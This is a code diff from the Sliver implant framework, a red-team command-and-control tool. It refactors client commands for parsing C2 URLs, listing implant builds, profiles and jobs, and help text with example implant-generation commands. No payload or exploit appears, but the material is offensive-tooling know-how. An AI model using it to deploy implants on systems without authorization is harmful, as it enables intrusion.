 			uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
 			if err != nil {
-				return nil, err
+				log.Printf("Failed to parse C2 URL %s", err)
+				continue
 			}
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
@@ -463,100 +418,76 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 // ParseDNSc2 - Parse DNS connection string arg
-func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseDNSc2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "dns://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				return nil, err
-			}
-		} else {
-			uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
-			if err != nil {
-				return nil, err
-			}
+		uri := url.URL{Scheme: "dns"}
+		if len(arg) < 1 {
+			continue
 		}
+		// Make sure we have the FQDN
+		if !strings.HasSuffix(arg, ".") {
+			arg += "."
+		}
+		arg = strings.TrimPrefix(arg, ".")
+
+		uri.Host = arg
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 // ParseNamedPipec2 - Parse named pipe connection string arg
-func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "namedpipe://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				return nil, err
-			}
-		} else {
-			uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
-			if err != nil {
-				return nil, err
-			}
+		uri, err := url.Parse("namedpipe://" + arg)
+		if len(arg) < 1 {
+			continue
+		}
+		if err != nil {
+			return c2s
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 // ParseTCPPivotc2 - Parse tcp pivot connection string arg
-func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "tcp-pivot://") {
-			arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
-		}
-		if strings.HasPrefix(arg, "tcppivot://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				return nil, err
-			}
-		} else {
-			uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
-			if err != nil {
-				return nil, err
-			}
-		}
+
+		uri := url.URL{Scheme: "tcppivot"}
+		uri.Host = arg
 		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
+			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {

client/command/generate/implants-rm.go

@@ -2,9 +2,7 @@ package generate
 
 import (
 	"context"
-	"fmt"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
@@ -12,24 +10,8 @@ import (
 
 // ImplantsRmCmd - Deletes an archived implant build from the server
 func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("No name specified\n")
-		return
-	}
-	build := ImplantBuildByName(name, con)
-	if build == nil {
-		con.PrintErrorf("No implant build found with name '%s'\n", name)
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
 	_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
-		Name: name,
+		Name: ctx.Args.String("implant-name"),
 	})
 	if err != nil {
 		con.PrintErrorf("Failed to delete implant %s\n", err)

client/command/generate/implants.go

@@ -19,29 +19,19 @@ package generate
 */
 
 import (
+	"bytes"
 	"context"
 	"fmt"
-	"sort"
+	"io"
 	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
-// ImplantBuildFilter - Filter implant builds
-type ImplantBuildFilter struct {
-	GOOS    string
-	GOARCH  string
-	Beacon  bool
-	Session bool
-	Format  string
-	Debug   bool
-}
-
 // ImplantsCmd - Displays archived implant builds
 func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -49,118 +39,51 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildfilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+		displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
 }
 
-// PrintImplantBuilds - Print the implant builds on the server
-func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name",
-		"Implant Type",
-		"OS/Arch",
-		"Format",
-		"Command & Control",
-		"Debug",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
+func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("OS/Arch")),
+		strings.Repeat("=", len("Debug")),
+		strings.Repeat("=", len("Format")),
+		strings.Repeat("=", len("Command & Control")),
+	)
 
 	for sliverName, config := range configs {
-		if filters.GOOS != "" && config.GOOS != filters.GOOS {
-			continue
+		if 0 < len(config.C2) {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+				sliverName,
+				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+				fmt.Sprintf("%v", config.Debug),
+				config.Format,
+				fmt.Sprintf("[1] %s", config.C2[0].URL),
+			)
 		}
-		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
-			continue
+		if 1 < len(config.C2) {
+			for index, c2 := range config.C2[1:] {
+				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+					"",
+					"",
+					"",
+					"",
+					fmt.Sprintf("[%d] %s", index+2, c2.URL),
+				)
+			}
 		}
-		if filters.Beacon && !config.IsBeacon {
-			continue
-		}
-		if filters.Session && config.IsBeacon {
-			continue
-		}
-		if filters.Debug && config.Debug {
-			continue
-		}
-		if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
-			!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
-			continue
-		}
-
-		implantType := "session"
-		if config.IsBeacon {
-			implantType = "beacon"
-		}
-		c2URLs := []string{}
-		for index, c2 := range config.C2 {
-			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
-		}
-		tw.AppendRow(table.Row{
-			sliverName,
-			implantType,
-			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
-			config.Format,
-			strings.Join(c2URLs, "\n"),
-			fmt.Sprintf("%v", config.Debug),
-		})
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
 	}
-
-	con.Println(tw.Render())
-}
-
-// ImplantBuildNameCompleter - Completer for implant build names
-func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
-	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return []string{}
-	}
-	results := []string{}
-	for name, config := range builds.Configs {
-		if filters.GOOS != "" && config.GOOS != filters.GOOS {
-			continue
-		}
-		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
-			continue
-		}
-		if filters.Beacon && !config.IsBeacon {
-			continue
-		}
-		if filters.Session && config.IsBeacon {
-			continue
-		}
-		if filters.Debug && config.Debug {
-			continue
-		}
-		if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
-			continue
-		}
-
-		if strings.HasPrefix(name, prefix) {
-			results = append(results, name)
-		}
-	}
-	sort.StringSlice(results).Sort()
-	return results
-}
-
-// ImplantBuildByName - Get an implant build by name
-func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
-	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return nil
-	}
-	for sliverName, build := range builds.Configs {
-		if sliverName == name {
-			return build
-		}
-	}
-	return nil
+	table.Flush()
+	fmt.Fprintf(stdout, "%s", outputBuf.String())
 }

client/command/generate/profiles-generate.go

@@ -30,9 +30,9 @@ import (
 
 // ProfilesGenerateCmd - Generate an implant binary based on a profile
 func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
+	name := ctx.Flags.String("name")
 	if name == "" {
-		con.PrintErrorf("No profile name specified\n")
+		con.PrintErrorf("no profile selected")
 		return
 	}
 	save := ctx.Flags.String("save")

client/command/generate/profiles-new.go

@@ -1,22 +1,5 @@
 package generate
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
 import (
 	"context"
 
@@ -27,40 +10,15 @@ import (
 
 // ProfilesNewCmd - Create a new implant profile
 func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	config := parseCompileFlags(ctx, con)
-	if config == nil {
-		return
-	}
-	profile := &clientpb.ImplantProfile{
-		Name:   name,
-		Config: config,
-	}
-	resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-	} else {
-		con.PrintInfof("Saved new implant profile %s\n", resp.Name)
-	}
-}
-
-// ProfilesNewBeaconCmd - Create a new beacon profile
-func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
+	name := ctx.Flags.String("profile-name")
 	if name == "" {
-		con.PrintErrorf("No profile name specified\n")
+		con.PrintErrorf("Invalid profile name\n")
 		return
 	}
 	config := parseCompileFlags(ctx, con)
 	if config == nil {
 		return
 	}
-	config.IsBeacon = true
-	err := parseBeaconFlags(ctx, con, config)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
 	profile := &clientpb.ImplantProfile{
 		Name:   name,
 		Config: config,
@@ -69,6 +27,6 @@ func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
+		con.PrintInfof("Saved new profile %s\n", resp.Name)
 	}
 }

client/command/generate/profiles-rm.go

@@ -1,28 +1,8 @@
 package generate
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
-	"fmt"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
@@ -30,24 +10,8 @@ import (
 
 // ProfilesRmCmd - Delete an implant profile
 func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("No profile name specified\n")
-		return
-	}
-	profile := GetImplantProfileByName(name, con)
-	if profile == nil {
-		con.PrintErrorf("No profile found with name '%s'\n", name)
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
 	_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
-		Name: name,
+		Name: ctx.Args.String("profile-name"),
 	})
 	if err != nil {
 		con.PrintErrorf("Failed to delete profile %s\n", err)

client/command/generate/profiles.go

@@ -21,15 +21,15 @@ package generate
 import (
 	"context"
 	"fmt"
+	"os"
 	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // ProfilesCmd - Display implant profiles
@@ -39,75 +39,72 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if len(profiles) == 0 {
-		con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
+		con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
 		return
-	} else {
-		PrintProfiles(profiles, con)
 	}
-}
-
-// PrintProfiles - Print the profiles
-func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Profile Name",
-		"Implant Type",
-		"Platform",
-		"Command & Control",
-		"Debug",
-		"Format",
-		"Obfuscation",
-		"Limitations",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Profile Name", Mode: table.Asc},
-	})
+	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("Platform")),
+		strings.Repeat("=", len("Command & Control")),
+		strings.Repeat("=", len("Debug")),
+		strings.Repeat("=", len("Format")),
+		strings.Repeat("=", len("Obfuscation")),
+		strings.Repeat("=", len("Limitations")),
+	)
 
 	for _, profile := range profiles {
 		config := profile.Config
-
-		obfuscation := "disabled"
-		if config.ObfuscateSymbols {
-			obfuscation = "enabled"
+		if 0 < len(config.C2) {
+			obfuscation := "strings only"
+			if config.ObfuscateSymbols {
+				obfuscation = "symbols obfuscation"
+			}
+			if config.Debug {
+				obfuscation = "none"
+			}
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+				profile.Name,
+				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+				fmt.Sprintf("[1] %s", config.C2[0].URL),
+				fmt.Sprintf("%v", config.Debug),
+				fmt.Sprintf("%v", config.Format),
+				obfuscation,
+				getLimitsString(config),
+			)
 		}
-		implantType := "session"
-		if config.IsBeacon {
-			implantType = "beacon"
+		if 1 < len(config.C2) {
+			for index, c2 := range config.C2[1:] {
+				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+					"",
+					"",
+					fmt.Sprintf("[%d] %s", index+2, c2.URL),
+					"",
+					"",
+					"",
+					"",
+				)
+			}
 		}
-		c2URLs := []string{}
-		for index, c2 := range config.C2 {
-			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
-		}
-		tw.AppendRow(table.Row{
-			profile.Name,
-			implantType,
-			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
-			strings.Join(c2URLs, "\n"),
-			fmt.Sprintf("%v", config.Debug),
-			fmt.Sprintf("%v", config.Format),
-			obfuscation,
-			getLimitsString(config),
-		})
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
 	}
-
-	con.Printf("%s\n", tw.Render())
+	table.Flush()
 }
 
 func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
 	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error %s", err)
 		return nil
 	}
 	return pbProfiles.Profiles
 }
 
-// GetImplantProfileByName - Get an implant profile by a specific name
 func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
 	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error %s", err)
 		return nil
 	}
 	for _, profile := range pbProfiles.Profiles {
@@ -117,18 +114,3 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
 	}
 	return nil
 }
-
-// ProfileNameCompleter - Completer for implant build names
-func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return []string{}
-	}
-	results := []string{}
-	for _, profile := range pbProfiles.Profiles {
-		if strings.HasPrefix(profile.Name, prefix) {
-			results = append(results, profile.Name)
-		}
-	}
-	return results
-}

client/command/help/help.go

@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
 	for _, c := range con.App.Commands().All() {
 		key := c.HelpGroup
 		targetOS := ""
-		session, beacon := con.ActiveTarget.Get()
+		session, beacon := con.ActiveTarget.GetInteractive()
 		if session != nil {
 			targetOS = session.OS
 		} else if beacon != nil {
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}
@@ -97,7 +97,6 @@ func printHelp(con *console.SliverConsoleClient) {
 			con.Println()
 			printHeadline(con.App.Config(), headline, con)
 			con.Printf("%s\n", columnize.Format(output, config))
-			con.Println()
 		}
 	}
 }

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadMacrosHelp,
+		consts.LoadMacroStr:        loadMacrosHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -84,8 +84,7 @@ var (
 		consts.RegistryWriteStr:             regWriteHelp,
 		consts.RegistryReadStr:              regReadHelp,
 		consts.RegistryCreateKeyStr:         regCreateKeyHelp,
-		consts.RegistryDeleteKeyStr:         regDeleteKeyHelp,
-		consts.PivotsStr:                    pivotsHelp,
+		consts.PivotsListStr:                pivotListHelp,
 		consts.WgPortFwdStr:                 wgPortFwdHelp,
 		consts.WgSocksStr:                   wgSocksHelp,
 		consts.SSHStr:                       sshHelp,
@@ -212,12 +211,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
 Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
-settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
-	profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
-	profiles generate my-profile-name
+settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
+	profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
+	generate-profile mtls-profile
 `
 
-	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
+	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
 [[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
 
 	msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
@@ -483,24 +482,21 @@ When using the binary type, you must either:
 [[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
 	`
 
-	regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
-[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
-[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
-	`
-
-	pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
-[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
+	pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
+[[.Bold]]About:[[.Normal]] List created pivots
 [[.Bold]]Examples:[[.Normal]]
+List pivots for all sessions:
+	
+	pivots-list
+
+List pivots for a specific session:
+
+	pivots-list --id 1
 
 List pivots for the current session:
 
-	pivots
-
-Start a tcp pivot on the current session:
-
-	pivots tcp --bind 0.0.0.0
-
-`
+	pivots-list
+	`
 	wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
 [[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
 [[.Bold]]Examples:[[.Normal]]

client/command/hosts/hosts.go

@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
-			hostSessions(host.HostUUID, con),
+			hostSessionNumbers(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 	return tw.Render()
 }
 
-func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
+func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
 	hostSessions := SessionsForHost(hostUUID, con)
-	if len(hostSessions) == 0 {
+	if 0 == len(hostSessions) {
 		return "None"
 	}
-	sessionIDs := []string{}
+	sessionNumbers := []string{}
 	for _, hostSession := range hostSessions {
-		sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
+		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
 	}
-	return fmt.Sprintf("%d", len(sessionIDs))
+	return strings.Join(sessionNumbers, ", ")
 }
 
 func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {

client/command/info/info.go

@@ -19,8 +19,6 @@ package info
 */
 
 import (
-	"time"
-
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 
@@ -35,7 +33,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if session != nil {
 
-		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
+		con.Printf(console.Bold+"                ID: %s%d\n", console.Normal, session.ID)
 		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, session.Name)
 		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, session.Hostname)
 		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, session.UUID)
@@ -46,14 +44,13 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
-		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
-		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
 
 	} else if beacon != nil {
 
-		con.Printf(console.Bold+"         Beacon ID: %s%s\n", console.Normal, beacon.ID)
+		con.Printf(console.Bold+"                ID: %s%s\n", console.Normal, beacon.ID)
 		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, beacon.Name)
 		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, beacon.Hostname)
 		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -64,11 +61,10 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
-		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
-		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
-		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"          Interval: %s%d\n", console.Normal, beacon.Interval)
+		con.Printf(console.Bold+"            Jitter: %s%d\n", console.Normal, beacon.Jitter)
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/jobs.go

@@ -21,15 +21,16 @@ package jobs
 import (
 	"context"
 	"fmt"
+	"os"
 	"sort"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // JobsCmd - Manage server jobs (listeners, etc)
@@ -50,41 +51,33 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			activeJobs[job.ID] = job
 		}
 		if 0 < len(activeJobs) {
-			PrintJobs(activeJobs, con)
+			printJobs(activeJobs)
 		} else {
 			con.PrintInfof("No active jobs\n")
 		}
 	}
 }
 
-// PrintJobs - Prints a list of active jobs
-func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Name",
-		"Protocol",
-		"Port",
-	})
+func printJobs(jobs map[uint32]*clientpb.Job) {
+	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("ID")),
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("Protocol")),
+		strings.Repeat("=", len("Port")))
 
 	var keys []int
 	for _, job := range jobs {
 		keys = append(keys, int(job.ID))
 	}
-	sort.Ints(keys)
+	sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
 
 	for _, k := range keys {
